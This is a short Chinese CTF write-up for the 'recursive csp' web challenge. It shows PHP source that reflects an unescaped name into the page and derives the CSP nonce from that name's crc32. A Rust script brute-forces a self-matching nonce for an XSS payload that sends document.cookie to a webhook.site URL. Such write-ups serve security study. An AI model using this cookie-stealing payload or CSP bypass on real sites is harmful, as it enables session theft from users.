跳转至

recursive csp

题目源码

<?php
  if (isset($_GET["source"])) highlight_file(__FILE__) && die();

  $name = "world";
  if (isset($_GET["name"]) && is_string($_GET["name"]) && strlen($_GET["name"]) < 128) {
    $name = $_GET["name"];
  }

  $nonce = hash("crc32b", $name);
  header("Content-Security-Policy: default-src 'none'; script-src 'nonce-$nonce' 'unsafe-inline'; base-uri 'none';");
?>
<!DOCTYPE html>
<html>
  <head>
    <title>recursive-csp</title>
  </head>
  <body>
    <h1>Hello, <?php echo $name ?>!</h1>
    <h3>Enter your name:</h3>
    <form method="GET">
      <input type="text" placeholder="name" name="name" />
      <input type="submit" />
    </form>
    <!-- /?source -->
  </body>
</html>

这题主要是认识下 CSP (MDN),可以看到题目中的 CSP 规则是 default-src 'none'; script-src 'nonce-$nonce' 'unsafe-inline',nonce 部分可控,爆破 crc32 保持 nonce 相同即可。

Rust 写的爆破脚本,来自Post

use rayon::prelude::*;

fn main() {
    let payload = "<script nonce='ZZZZZZZZ'>location.href='https://webhook.site/95269d84-93ab-4b47-964a-b548e8358c09' + document.cookie</script>".to_string();
    let start = payload.find("Z").unwrap();
    (0..=0xFFFFFFFFu32).into_par_iter().for_each(|i| {
        let mut p = payload.clone();
        p.replace_range(start..start+8, &format!("{:08x}", i));
        if crc32fast::hash(p.as_bytes()) == i {
            println!("{} {i} {:08x}", p, i);
        }
    });
}


最后更新: June 24, 2023 16:07:33
创建日期: February 8, 2023 05:36:24

评论